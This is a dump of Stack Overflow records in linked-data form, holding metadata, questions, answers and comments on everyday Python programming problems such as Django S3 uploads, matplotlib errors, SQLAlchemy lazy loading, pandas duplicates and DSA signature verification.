linked to: http://stackoverflow.com/q/49022851
has answer: http://stackoverflow.com/a/47323078
accepted answer: http://stackoverflow.com/a/47323078
tagged with: dataframe

http://stackoverflow.com/a/47246811
type: AcceptedAnswer
has body: syntax of for is (simplified) for &lt;variable(s)&gt; in &lt;expression&gt; more precisely: for_stmt ::= "for" target_list "in" expression_list ":" suite ["else" ":" suite] since you're parenthesizing &lt;variable&gt; in &lt;expression&gt;, the syntax becomes invalid. for and in must be present at the same nesting level. syntax of while is much simpler: while_stmt ::= "while" expression ":" suite ["else" ":" suite] thus allows parentheses, although not necessary in Python
upvote count: 6
downvote count: 0
score: 6
accepted answer of: http://stackoverflow.com/q/47246796
answers question: http://stackoverflow.com/q/47246796
type: Answer

explode
tags question: http://stackoverflow.com/q/47307733
type: Tag
tag name: explode

http://stackoverflow.com/comment/81665785
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47356539
score: 0
has text: What do you mean by "at the same time"? Do you mean your program either recognizes up or down, but not the other? When I run your code, both bindings work.

http://stackoverflow.com/comment/81570699
has text: I wrote my own algorithm. It is a simple DFS that's why it is brute force. I have said it is not infinite. I have tried to detect cycles with another algorithm. The problem is not speed, it is not efficient because it is detecting duplicate loop over and over again.
comment on: http://stackoverflow.com/q/47307441
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81533986
comment on: http://stackoverflow.com/q/47289954
type: Comment
type: QuestionComment
score: 0
has text: Please include a Dataflow job ID. Also: how big are "p1" and "p2"? It seems that, for every single element of the first table, you're scanning the entire second table. Is this intentional?

http://stackoverflow.com/q/47364274
tagged with: python
has comment: http://stackoverflow.com/comment/81906827
score: 0
answer count: 1
has title: Robot framework [ ERROR ] Unexpected error: IOError: [Errno 0] Error
has answer: http://stackoverflow.com/a/47547941
type: Question
tagged with: robotframework
type: UnansweredQuestion
has body: I have this weird error that I have never seen before. I ran an RF automation regression test using Chrome and after a while, I got this error which basically stops the test execution and does not provide any test results. I also noticed this new text line that I haven't seen before during text execution: DevTools listening on ws://127.0.0.1:12306/devtools/browser/df1c8bcc-867c-41bc-a9b4-c364bdfafec2 (The test scripts have been used before &amp; passed without any issues) W8-BENE date format - ddMMMMMyyyyDot :: This is to test the differ... DevTools listening on ws://127.0.0.1:12537/devtools/browser/6d32afb6-90f2-46d4-a18a-001fa61d2444 [ ERROR ] Unexpected error: IOError: [Errno 0] Error Traceback (most recent call last): File "c:\python27\lib\site-packages\robot\utils\application.py", line 83, in _execute rc = self.main(arguments, **options) File "c:\python27\lib\site-packages\robot\run.py", line 445, in main result = suite.run(settings) File "c:\python27\lib\site-packages\robot\running\model.py", line 248, in run self.visit(runner) File "c:\python27\lib\site-packages\robot\model\testsuite.py", line 161, in visit visitor.visit_suite(self) File "c:\python27\lib\site-packages\robot\model\visitor.py", line 87, in visit_suite suite.tests.visit(self) File "c:\python27\lib\site-packages\robot\model\itemlist.py", line 76, in visit item.visit(visitor) File "c:\python27\lib\site-packages\robot\model\testcase.py", line 74, in visit visitor.visit_test(self) File "c:\python27\lib\site-packages\robot\running\runner.py", line 151, in visit_test result) File "c:\python27\lib\site-packages\robot\running\runner.py", line 182, in _run_teardown exception = self._run_setup_or_teardown(teardown) File "c:\python27\lib\site-packages\robot\running\runner.py", line 201, in _run_setup_or_teardown StepRunner(self._context).run_step(data, name=name) File "c:\python27\lib\site-packages\robot\running\steprunner.py", line 57, in run_step return runner.run(step, context) File "c:\python27\lib\sit…

http://stackoverflow.com/q/47377315
type: Question
has answer: http://stackoverflow.com/a/47377918
score: 3
tagged with: amazon-s3
tagged with: path
possible better answer: http://stackoverflow.com/a/77601782
tagged with: django
tagged with: python
has body: In my Django app, I would like to define upload path and file dynamically when saving to AWS S3. I am able to so far save to S3 directly the file however, I want to set the path and filename it self. So for example, upon upload i want it to be in the S3 path bucketname\employeeid\file_randomnumber.png How can i do something like this ? Below are my code: https://gitlab.com/firdausmah/railercom/blob/master/railercomapp/api.py @api_view(['POST']) def update_employee_image(request): # ----- YAML below for Swagger ----- """ description: update employee image. parameters: - name: employee_id type: integer required: true location: form - name: face_image type: file required: true location: form """ parser_classes = (FileUploadParser,) employee_id = request.POST['employee_id'] face_image_obj = request.data['face_image'] employee = Employee.objects.get(id = employee_id) logging.debug(f"API employee username {employee.username}") #employee.face_image = face_image_obj employee.upload = face_image_obj &lt;--- here is where it assign the file to S3 employee.save() return Response("Employee Updated!", status=status.HTTP_200_OK) https://gitlab.com/firdausmah/railercom/blob/master/railercomapp/models.py class Employee(models.Model): user = models.OneToOneField(User, on_delete=models.CASCADE, related_name='employee') company = models.ForeignKey(Company) username = models.CharField(max_length=30, blank=False) upload = models.FileField(blank=True) &lt;--- S3 field https://gitlab.com/firdausmah/railercom/blob/master/railercom/settings.py (AWS settings) AWS_ACCESS_KEY_ID = config('AWS_ACCESS_KEY_ID') AWS_SECRET_ACCESS_KEY = config('AWS_SECRET_ACCESS_KEY') AWS_STORAGE_BUCKET_NAME = config('AWS_STORAGE_BUCKET_NAME') AWS_S3_CUSTOM_DOMAIN = '%s.s3.amazonaws.com' % AWS_STORAGE_BUCKET_NAME AWS_S3_OBJECT_PARAMETERS = { 'CacheControl': 'max-age=86400', } DEFAULT_FILE_STORAGE = 'railercomapp.storage_backends.MediaStorage' https://gitlab.com/firdausmah/railercom/blob/master/railercomapp/storage_…
type: AnsweredQuestion
answer count: 2
upvote count: 3
downvote count: 0
has answer: http://stackoverflow.com/a/77601782
tagged with: amazon-web-services
accepted answer: http://stackoverflow.com/a/47377918
has title: django aws S3 define upload file path and file dynamically
favorite count: 0

http://stackoverflow.com/q/47252187
tagged with: fadeout
tagged with: jquery
type: Question
has title: Python CGI using JQuery fadeIn/fadeOut effect
accepted answer: http://stackoverflow.com/a/47252368
tagged with: fadein
tagged with: javascript
tagged with: python
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47252368
score: 0
has body: I'm trying to use the fadeIn effect with jQuery in my python cgi code. But for some reason it isn't working. My python cgi code: #!/usr/bin/python # Import modules for CGI handling import cgi, cgitb # Create instance of FieldStorage form = cgi.FieldStorage() # Get data from fields full_name = form.getvalue('fullname1') address = form.getvalue('address1') phone = form.getvalue('phone1') print "Content-type:text/html\r\n\r\n" print " " print " " print " Python " print """ """ print " " print " " print " Full Name: %s " % (full_name) print " Address %s " % (address) print " Phone #: %s " % (phone) print " " print " " I'm trying to fadeIn that third h2 with the id: pad. This is what I'm using to fadeIn and fadeOut $('#pad').hide().fadeIn(800).delay(3000).fadeOut(800); It doesn't fade in nor fade out. Many thanks!
answer count: 1

http://stackoverflow.com/a/47337971
answers question: http://stackoverflow.com/q/47337872
type: Answer
has comment: http://stackoverflow.com/comment/81628556
score: 2
has body: You will need to test at every input() command. So instead of: guess1 = int(input(name1+", take a guess: ")) guess1 = get_distance(secret,guess1) guess2 = int(input(name2+", take a guess: ")) guess2 = get_distance(secret,guess2) Try this: userInput = input(name1+", take a guess: ") if userInput == "q": exit() guess1 = int(userInput) guess1 = get_distance(secret,guess1) userInput = input(name2+", take a guess: ") if userInput == "q": exit() guess2 = int(userInput) guess2 = get_distance(secret,guess2) This way, at any time, the user can type "q" and hit enter to quit the game. Or, alternatively, you can define your own function to use instead of the input() function: def userInput(prefix): a = input(prefix) if a=="q": exit() else: return a And then: guess1 = int(userInput(name1+", take a guess: ")) guess1 = get_distance(secret,guess1) guess2 = int(userInput(name2+", take a guess: ")) guess2 = get_distance(secret,guess2)
upvote count: 2
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47337872

http://stackoverflow.com/comment/81689545
has text: Why do you want to *run* from another directory? Do you want the script to act on things in the other directory?
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47368541

deep-learning
tags question: http://stackoverflow.com/q/47360322
tags question: http://stackoverflow.com/q/47288073
tags question: http://stackoverflow.com/q/47320379
tags question: http://stackoverflow.com/q/47272971
tags question: http://stackoverflow.com/q/47305618
tags question: http://stackoverflow.com/q/47362296
tags question: http://stackoverflow.com/q/47312396
type: Tag
tags question: http://stackoverflow.com/q/47277279
tags question: http://stackoverflow.com/q/47340625
tags question: http://stackoverflow.com/q/47233214
tags question: http://stackoverflow.com/q/47305473
tags question: http://stackoverflow.com/q/47292365
tags question: http://stackoverflow.com/q/47273739
tags question: http://stackoverflow.com/q/47380961
tags question: http://stackoverflow.com/q/47243629
tags question: http://stackoverflow.com/q/47368466
tags question: http://stackoverflow.com/q/47302085
tags question: http://stackoverflow.com/q/47367508
tags question: http://stackoverflow.com/q/47272383
tags question: http://stackoverflow.com/q/47243392
tags question: http://stackoverflow.com/q/47262955
tags question: http://stackoverflow.com/q/47351307
tags question: http://stackoverflow.com/q/47361980
tags question: http://stackoverflow.com/q/47363899
tags question: http://stackoverflow.com/q/47360148
tags question: http://stackoverflow.com/q/47380643
tags question: http://stackoverflow.com/q/47286824
tags question: http://stackoverflow.com/q/47364379
tag name: deep-learning
tags question: http://stackoverflow.com/q/47299378
tags question: http://stackoverflow.com/q/47377222
tags question: http://stackoverflow.com/q/47245866
tags question: http://stackoverflow.com/q/47373421
tags question: http://stackoverflow.com/q/47264171
tags question: http://stackoverflow.com/q/47309595
tags question: http://stackoverflow.com/q/47321058
tags question: http://stackoverflow.com/q/47323828
tags question: http://stackoverflow.com/q/47353479
tags question: http://stackoverflow.com/q/47274299

http://stackoverflow.com/comment/81527986
type: QuestionComment
comment on: http://stackoverflow.com/q/47288642
score: 0
has text: Also bear in mind that when in this space: `90° = -270° = 450° = N * 90°` where N is an integer.
type: Comment

http://stackoverflow.com/q/47225830
has body: I'm trying to learn Python through a tutorial on youtube and I'm having some difficulies working with 3D graphs. Long stories short, I continuously get (if Z.ndim != 2: AttributeError: 'list' object has no attribute 'ndim') error while trying to launch this simple program: from mpl_toolkits.mplot3d import Axes3D import matplotlib.pyplot as plt fig = plt.figure() chart = fig.add_subplot(1,1,1,projection = '3d') X,Y,Z = [1,2,3,4,5,6,7,8],[2,5,3,8,9,5,6,1],[3,6,2,7,5,4,5,6] chart.plot_wireframe(X,Y,Z) plt.show() I know that it is related to the Axes3.plot_wireframe() method but Could anyone explain to me what's happening.
upvote count: 2
score: 2
type: UnansweredQuestion
downvote count: 0
has comment: http://stackoverflow.com/comment/81401897
has answer: http://stackoverflow.com/a/48835257
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47276394
has answer: http://stackoverflow.com/a/47225965
tagged with: matplotlib
tagged with: python
has title: axes3d.plot_wireframe(X,Y,Z) Error
answer count: 4
has answer: http://stackoverflow.com/a/51562276

http://stackoverflow.com/comment/81535448
comment on: http://stackoverflow.com/q/47292066
score: 0
type: Comment
type: QuestionComment
has text: Have you check this one? https://stackoverflow.com/questions/19859282/check-if-a-string-contains-a-number

http://stackoverflow.com/a/47274015
downvote count: 0
type: Answer
has body: t is the value of the t-statistic for testing if the corresponding coefficient is different from 0. (Hypothesis H0: coef==0, H1: coef!=0) Pr>|t| is the p-value for this hypothesis test. A low p-value means, that you can reject the null-hypothesis and accept the alternative hypothesis (coef!=0).
score: 14
upvote count: 14
has comment: http://stackoverflow.com/comment/125196372
answers question: http://stackoverflow.com/q/47273809
has comment: http://stackoverflow.com/comment/108989825
accepted answer of: http://stackoverflow.com/q/47273809
has comment: http://stackoverflow.com/comment/134104637
type: AcceptedAnswer

http://stackoverflow.com/a/47363091
answers question: http://stackoverflow.com/q/47362791
type: Answer
has body: As I said in the comments: You need to create the div_5 list before the start of the while loop. You're supposed to read integer input, so that float call is useless. Test if x is negative immediately after you read it. Don't compute the average until you break out of the loop, and don't compute it if there's no data in the list. Also, your test for divisibility is backwards: x % 5 is zero if x is divisible by 5, and zero is considered False. Here's a repaired version of your code. div_5 = [] while True: x = int(input("Please input an integer (negative if you want to stop): ")) if x &lt; 0: break if x % 5 == 0: div_5.append(x) if div_5: average = sum(div_5) / len(div_5) else: average = 0 print(average) Demo Please input an integer (negative if you want to stop): 1 Please input an integer (negative if you want to stop): 5 Please input an integer (negative if you want to stop): 6 Please input an integer (negative if you want to stop): 10 Please input an integer (negative if you want to stop): -4 7.5 When we break out of the main loop the test if div_5 test if there are any numbers in the div_5 list and only performs the division if there are. If there are no numbers in the list, then the average is zero.
score: 0

http://stackoverflow.com/comment/81739041
score: 0
has text: Possible duplicate of [Calling Cython from c++ with not built-in types](https://stackoverflow.com/questions/47074071/calling-cython-from-c-with-not-built-in-types)
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47227707

http://stackoverflow.com/q/47241641
upvote count: 4
accepted answer: http://stackoverflow.com/a/47241819
type: AnsweredQuestion
downvote count: 0
answer count: 1
tagged with: sqlalchemy
favorite count: 0
has title: SQLAlchemy how LazyLoading works
type: Question
has answer: http://stackoverflow.com/a/47241819
tagged with: python
has body: Hi I would like to understand how does sqlalchemy lazy loading works? Assuming I have this query results = ( session.query(Parent). options(lazyload(Parent.children)). filter(Parent.id == 1). all() ) for parent in results: logging.error(parent.children) I want to know if I access the parent.children on the for loop will this create a new select statement? or is the record or parent.children already cached or something? I'm thinking of how this will affect the performance. I just want to most optimize way. Should I use lazyloading? Will accessing per item on the loop create a new sqlalchemy How do I find out if a query is being run by sqlalchemy? (Just want to find out if accessing per entry will create a select statement
score: 4

http://stackoverflow.com/q/47371661
type: Question
tagged with: networkx
tagged with: graph
has title: creating dynamic graph python NetworkX
linked to: http://stackoverflow.com/q/43646550
tagged with: python
has comment: http://stackoverflow.com/comment/83039381
has comment: http://stackoverflow.com/comment/81713017
type: AnsweredQuestion
has body: I am attempting to build a dynamic graph in python using networkX. I've got some code to build a static graph. I'm looking for some advice as to how to alter it for dynamic graphing to improve the visualization, maybe using networkx d3 or plotly. The context is to graph a conversation. nx.draw_networkx(speech, pos=nx.spring_layout(speech)) plt.draw() static_images_dir = "./static/images" if not os.path.exists(static_images_dir): os.makedirs(static_images_dir) plt.savefig(os.path.join(static_images_dir, "speech.png")) #plt.show() plt.close() return speech
score: 1
tagged with: plotly
answer count: 1
downvote count: 0
upvote count: 1
has answer: http://stackoverflow.com/a/58098717
accepted answer: http://stackoverflow.com/a/58098717
favorite count: 0

http://stackoverflow.com/a/47281898
type: Answer
has comment: http://stackoverflow.com/comment/81535813
has body: To install statsmodels under anaconda, use conda install statsmodels The package is available in the repository of anacondata in version 0.8.0 which is the latest on pip as of now. anaconda is not "just" a Python installation, it also contains the conda package manager that can install pre-built packages from the main repository of anaconda or from other "channels". It is not advisable to install packages that are available from the anaconda channel with pip, in general. A comment on the issue of Cython here: to use Cython, your computer needs also a "development environment", that is the availability of a C compiler, of the Python development headers, among others. The C compiler must be compatible with the version of Python for which Cython is installed.
answers question: http://stackoverflow.com/q/47272715
score: 0
has comment: http://stackoverflow.com/comment/81543091

http://stackoverflow.com/a/47301102
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/47300648
has body: In that case you need to override the delete method. from django.http import HttpResponseRedirect class ParentDeleteView(DeleteView): model = Parent def delete(self, request, *args, **kwargs): self.object = self.get_object() # check if object has child if yes return error # otherwise success_url = self.get_success_url() self.object.delete() return HttpResponseRedirect(success_url) def get_success_url(self): return reverse_lazy('parent-list')
downvote count: 0
type: Answer

http://stackoverflow.com/comment/81662993
comment on: http://stackoverflow.com/q/47355252
type: Comment
type: QuestionComment
score: 2
has text: Please share what you have tried so far.. i.e. your code

http://stackoverflow.com/comment/81423601
score: 0
type: QuestionComment
has text: There's not enough detail in your question to give an answer. You should provide enough info for someone else to reproduce the problem, and a clear description of the result you're looking for (also the `if` statement is not needed).
type: Comment
comment on: http://stackoverflow.com/q/47236667

http://stackoverflow.com/q/47232532
has body: So I've seen the same error in multiple questions on stackoverflow, but all of the problems are from people not putting the correct path such as putting the path to the directory and not the executable. I have my path pointing to the executable but for some reason it still gives me that error? Here's the code that's causing the problem\ if sys.platform == "win32": driver = webdriver.PhantomJS(executable_path=path.realpath("phantomjs.exe")) elif sys.platform == "darwin": driver = webdriver.PhantomJS(executable_path=path.realpath("phantomjsMac")) else: driver = webdriver.PhantomJS(executable_path=path.realpath("phantomjsLinux"))
tagged with: python
has comment: http://stackoverflow.com/comment/81423029
has comment: http://stackoverflow.com/comment/81453054
answer count: 0
has title: ERROR: Executable may have wrong permissions
type: UnansweredQuestion
score: 1
downvote count: 0
tagged with: selenium
upvote count: 1
tagged with: web-scraping
favorite count: 0
type: Question

global
type: Tag
tags question: http://stackoverflow.com/q/47314567
tag name: global

http://stackoverflow.com/comment/81472135
type: QuestionComment
comment on: http://stackoverflow.com/q/47260632
score: 1
type: Comment
has text: if you want to work with *associations* between stuff, go with a `dictionary`.

http://stackoverflow.com/a/47293654
answers question: http://stackoverflow.com/q/47293064
has body: Here is an itertools.groupy solution. (The commented out line also considers reverse pairs.) import itertools as it import operator as op def L1(L): # split pairs L = [p.split() for p in L[1:]] # convert to int L = [(int(P1), int(P2)) for P1, P2 in L] LL = sorted(L) # # add reversed and sort # LL = sorted(L + [P[::-1] for P in L]) # group by first element res = it.groupby(LL, op.itemgetter(0)) # make proper lists return [(k, [P[1] for P in v]) for k, v in res] Output (for the example L): [(0, [1, 2]), (1, [3]), (2, [3, 4]), (3, [4])]
type: Answer
score: 0

http://stackoverflow.com/comment/81597238
comment on: http://stackoverflow.com/q/47322820
score: 0
has text: How are you running your application? Are you importing functions from `utils` or running `utils.py` after `main.py` has exited?
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/81542849
has text: Float? I see `int` and `intp`, which suggest integers.
type: QuestionComment
score: 0
type: Comment
comment on: http://stackoverflow.com/q/47295748

http://stackoverflow.com/comment/81455059
type: Comment
score: 0
type: AnswerComment
has text: My own approach -- which also matches countPairs for the first 1000 -- agrees with Paul's 10^250 and 67535 answers. I reran 67535 using a different brute force approach and got the same result. I'm currently 48/67 of the way through powering through on countPairs, but I'd be quite surprised if it disagreed. I think we'd need to see a link to the actual puzzle itself, to see if maybe we're misinterpreting the question, because I'm running out of possible mistakes.
comment on: http://stackoverflow.com/a/47251652

http://stackoverflow.com/comment/81722076
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47381930
score: 0
has text: I don't think it's that simple. You need `cur_audioshot` to compute `cur_audioshot_resampled`, and the new function doesn't compute that variable. I don't know anything about librosa, so I can't help you further.

http://stackoverflow.com/comment/81557811
comment on: http://stackoverflow.com/a/47290410
score: 0
type: Comment
type: AnswerComment
has text: Sounds like the best option is using Request object. Do you happen to know any package for such a requirement? (per request data)

http://stackoverflow.com/a/47231880
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/81414551
has comment: http://stackoverflow.com/comment/81414637
has body: Here is how I might do it: def popAll(q, limit=None): return [q.popleft() for _ in xrange(min(limit or sys.maxsize, len(q)))] Or maybe like this: def popAll(q, limit=None): if limit is None: limit = sys.maxsize return [q.popleft() for _ in xrange(min(limit, len(q)))] Note that the two examples differ in the behavior of popAll(q, 0). In the first example, that returns the entire queue. In the second, it returns an empty list.
accepted answer of: http://stackoverflow.com/q/47231579
has comment: http://stackoverflow.com/comment/81414584
answers question: http://stackoverflow.com/q/47231579
type: Answer
has comment: http://stackoverflow.com/comment/81414965
has comment: http://stackoverflow.com/comment/81414974
has comment: http://stackoverflow.com/comment/81414727
has comment: http://stackoverflow.com/comment/81414758
score: 2
upvote count: 2

http://stackoverflow.com/a/47271378
type: Answer
score: 0
has body: To check the length of your String you can use the method len() to obtain its character length. You can then select those that are greater than 2 or your desired length. To check if you string has only alphabetic characters you can use the str.isalpha() method to check so. Therefore, if you check len(name) &gt; 2 and name.isalpha() will help you filter those string that do not match what you want: &gt;&gt;&gt; name = "MyName" &gt;&gt;&gt; len(name) &gt; 2 and name.isalpha() True &gt;&gt;&gt; wrong_name = "My42Name" &gt;&gt;&gt; len(wrong_name) &gt; 2 and wrong_name.isalpha() False &gt;&gt;&gt; short_name = "A" &gt;&gt;&gt; len(short_name) &gt; 2 and short_name.isalpha() False
answers question: http://stackoverflow.com/q/47271232

http://stackoverflow.com/comment/82504914
comment on: http://stackoverflow.com/q/47259757
type: Comment
has text: BTW, did the answer below help you at all?
type: QuestionComment
score: 0

http://stackoverflow.com/comment/81710354
score: 0
type: AnswerComment
has text: @DebanjanB: It works! Thanks a lot for you help. However, it will only one pdf link and I need for every row wherever PDF link is present. With the help of your code, I have used below code and it got me what I needed: rows = driver.find_elements_by_xpath("//table[@class='tablebg']//tr//td/a[contains(@href,'http://')]") for row in rows: pdf = row.get_attribute('href') print(pdf)
type: Comment
comment on: http://stackoverflow.com/a/47324463

http://stackoverflow.com/q/47236694
accepted answer: http://stackoverflow.com/a/47236870
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47236870
has answer: http://stackoverflow.com/a/47237376
tagged with: python
has title: Taking long time to execute Python code for the definition
type: AnsweredQuestion
tagged with: python-2.7
answer count: 2
score: 1
has body: This is the problem definition: Given a string of lowercase letters, determine the index of the character whose removal will make a palindrome. If is already a palindrome or no such character exists, then print -1. There will always be a valid solution, and any correct answer is acceptable. For example, if "bcbc", we can either remove 'b' at index or 'c' at index. I tried this code: # !/bin/python import sys def palindromeIndex(s): # Complete this function length = len(s) index = 0 while index != length: string = list(s) del string[index] if string == list(reversed(string)): return index index += 1 return -1 q = int(raw_input().strip()) for a0 in xrange(q): s = raw_input().strip() result = palindromeIndex(s) print(result) This code works for the smaller values. But taken hell lot of time for the larger inputs. Here is the sample: Link to sample the above one is the bigger sample which is to be decoded. But at the solution must run for the following input: Input (stdin) 3 aaab baa aaa Expected Output 3 0 -1 How to optimize the solution?
downvote count: 0
upvote count: 1
possible better answer: http://stackoverflow.com/a/47237376

http://stackoverflow.com/a/47263010
has comment: http://stackoverflow.com/comment/81477810
score: 1
type: Answer
has body: You can just use: df[df.duplicated(['Column1', 'Column5'], keep=False) #Index Column1 Column2 Column3 Column4 Column5 # 0 1234 500 NEWYORK NY NaN # 2 1234 300 NEWYORKCITY NY NaN # 3 8910 235 RICHMOND FL 8484883666 # 4 8910 250 AUSTIN TX 8484883666
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/47262654

http://stackoverflow.com/q/47339864
type: Question
has comment: http://stackoverflow.com/comment/81633867
has comment: http://stackoverflow.com/comment/81633508
tagged with: python
has title: Timeout when reading response headers from daemon process 'swpdoc': /var/www/swpdoc/swpdoc/wsgi.py
has comment: http://stackoverflow.com/comment/81633571
answer count: 0
has comment: http://stackoverflow.com/comment/81633644
tagged with: mod-wsgi
type: UnansweredQuestion
score: 1
has comment: http://stackoverflow.com/comment/81634250
tagged with: apache
downvote count: 0
upvote count: 1
tagged with: django
has body: I am getting this error radomaly (not always) Timeout when reading response headers from daemon process 'swpdoc': /var/www/swpdoc/swpdoc/wsgi.py Here is my file httpd.conf WSGIScriptAlias / /var/www/swpdoc/swpdoc/wsgi.py WSGIApplicationGroup %{GLOBAL} &lt;Directory /var/www/swpdoc/swpdoc&gt; &lt;Files wsgi.py&gt; Require all granted &lt;/Files&gt; &lt;/Directory&gt; WSGIDaemonProcess swpdoc python-home=/var/www/swpdoc/venswpdoc python- path=/var/www/swpdoc WSGIProcessGroup swpdoc Any help would be appreciated. Loading the index page taking so long and sometimes i get timeout errors. I am also using whoosh.
favorite count: 0

http://stackoverflow.com/q/47274047
has title: Solving CVXPY Matrix Optimization Linear Programming
has comment: http://stackoverflow.com/comment/81499299
type: Question
tagged with: python
tagged with: linear-programming
has body: I'm trying to solve for the ideal matrix X in the following linear program setup: X = N by T matrix which is our variable. For simplicity, let's set N to 4 and T to 3. X_column_sum = 1 by T matrix where each column value is the sum of all values of the corresponding column in X R = N by 1 matrix with randomly determined values G = constant (let's set to 100 for simplicity) d = 1 by T matrix whose values take in the range [0, G-1] P = 1 by T matrix equal to X_column_sum + d C = X dotted with P I want to minimize the sum of the entries of C, while preserving the following constraints: all values in X have to be >= 0 the sum of all values in each corresponding row of X have to be at least equal to the corresponding value in R I tried the following code using cvxpy in python, but to no avail: from cvxpy import * X = Variable(N,T) G = 100 d = np.random.randn(1, T) d *= G-1 X_column_sum = cumsum(X,axis=0) P = cost_matrix_cars + d R = matrix([[10]]*N) # all set to 10 for testing objective = Minimize(sum_entries(X@P)) #think this is good constraints = [0 &lt;= X, cumsum(X,axis=0) &gt;= R] prob = Problem(objective, constraints) print("Optimal value", prob.solve()) print("Optimal X is",x.value ) # A numpy matrix.
has comment: http://stackoverflow.com/comment/81500664
score: 0
answer count: 0
type: UnansweredQuestion
tagged with: cvxpy

http://stackoverflow.com/q/47352173
type: Question
answer count: 0
has title: Insert data into columns of table in database using .tosql
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/81656468
has comment: http://stackoverflow.com/comment/81656897
score: 0
tagged with: sql
tagged with: append
has body: I know I can use if_exists = 'append' But this will add data to the bottom of my table. I want to add it right next to it.

http://stackoverflow.com/comment/81672680
has text: I maybe wrong about the name "scatter matrix", what I am trying to implement is a method used oftenly in articles about eigenface. The goal is to not compute the M eigenvalue but only the n best eigenvalue/eigenvectors. On wikipedia 'computing the eigenvector' part : https://en.wikipedia.org/wiki/Eigenface As the dimension of my data are differents from the wiki I tried to transpose them but it seems it was a bad idea.
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/47359688
score: 0

http://stackoverflow.com/comment/81715199
type: AnswerComment
comment on: http://stackoverflow.com/a/47377805
score: 0
type: Comment
has text: You requested some feedback. This code looks sensible. You will eventually have a problem with the maximum recursion depth in Python. Also the overhead of calling a function in Python is not negligible because they are all virtual. So I would think that using `reduce` and `map` would be faster and easier to read. I still don't understand the motivation of the OP.

http://stackoverflow.com/comment/81516291
has text: yes this this how it works at database level, You can create custom view and create user interface as per your need write logics accordingly. but correct modeling should be what i explained.
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/47281218
score: 0

http://stackoverflow.com/a/47358395
upvote count: 2
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/47343331
has body: If they have internal crash handling, it's not possible to detect. The application will handle the error and exit normally. You can't even detect this if you would attach yourself as a debugger. The reason is exception dispatching (MSDN): the debugger gets informed about an exception. This is called the first chance exception. However, this might be "normal", e.g. FileNotFound, which is expected by the application. Windows is looking for someone who wants to handle the exception. This can be the except block of a Python application, a catch block in C# or C++ or even a general "unhandled exception handler". If nobody wanted to handle the application, the debugger gets informed again. This time, the exception is marked as a second chance exception. This means that the application will crash next. You're looking to become informed as part of step 3, however, the application has already stopped the process in step 2.
answers question: http://stackoverflow.com/q/47343331
score: 2
downvote count: 0

http://stackoverflow.com/a/47380065
type: Answer
answers question: http://stackoverflow.com/q/47379973
score: 0
has body: Feed your HTML to BeautifulSoup, and then navigate or format it as you wish.

http://stackoverflow.com/comment/81409781
has text: If I remember correctly SQL BETWEEN is inclusive. A simple way would be to just `where((relaciones_laborales.c.RelLabFch >= sa.bindparam('p1d')) & (relaciones_laborales.c.RelLabFch < sa.bindparam('p2d')))`.
score: 2
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47229413

http://stackoverflow.com/a/47373212
type: Answer
downvote count: 0
answers question: http://stackoverflow.com/q/47362998
score: 1
upvote count: 1
has body: Thanks to you, I could solve it. like this hour = datetime.now().hour minute = datetime.now().minute if minute &gt;10: return str(hour)+str(minute) else: return str(hour)+"0"+str(minute)

http://stackoverflow.com/q/47223564
score: 2
upvote count: 2
downvote count: 0
answer count: 1
has title: Python: Cryptodomex not working with DSA verification
favorite count: 0
type: Question
has body: I tried to verify the signature of a file by DSA encryption. I am using Pyton 3.6 and pycryptodomex version 3.4.7. Unhappily the documentation code seems to be outdated (was trying to get a simple example working): from Crypto.PublicKey import DSA from Crypto.Signature import DSS from Crypto.Hash import SHA256 # Create a new DSA key key = DSA.generate(2048) f = open("public_key.pem", "w") f.write(key.publickey().exportKey(key)) # Sign a message message = b"Hello" hash_obj = SHA256.new(message) signer = DSS.new(key, 'fips-186-3') signature = key.sign(hash_obj) # Load the public key f = open("public_key.pem", "r") hash_obj = SHA256.new(message) pub_key = DSA.import_key(f.read()) # Verify the authenticity of the message if pub_key.verify(hash_obj, signature): print "OK" else: print "Incorrect signature" this is my code, tried to fix the function calls which were not working: from Cryptodome.PublicKey import DSA from Cryptodome.Signature import DSS from Cryptodome.Hash import SHA256 # Create a new DSA key key = DSA.generate(2048) print(key.exportKey()) # Sign a message message = b"Hello" hash_obj = SHA256.new(message) signer = DSS.new(key, 'fips-186-3') signature = signer.sign(hash_obj) # Load the public key pub_key = DSA.import_key(key.publickey().exportKey()) verifyer = DSS.new(pub_key, 'fips-186-3') hash_obj = SHA256.new(message) # Verify the authenticity of the message if verifyer.verify(hash_obj, signature): print("OK") else: print("Incorrect signature") Can someone help me with this topic?
type: UnansweredQuestion
tagged with: pycryptodome
tagged with: python
tagged with: cryptography
tagged with: pycrypto
has answer: http://stackoverflow.com/a/72498074

http://stackoverflow.com/q/47253696
tagged with: python
accepted answer: http://stackoverflow.com/a/47253756
has answer: http://stackoverflow.com/a/47253756
has title: Python TypeError: int() argument must be a string, a bytes-like object or a number, not 'NoneType'
tagged with: validation
answer count: 1
linked to: http://stackoverflow.com/q/17778372
downvote count: 0
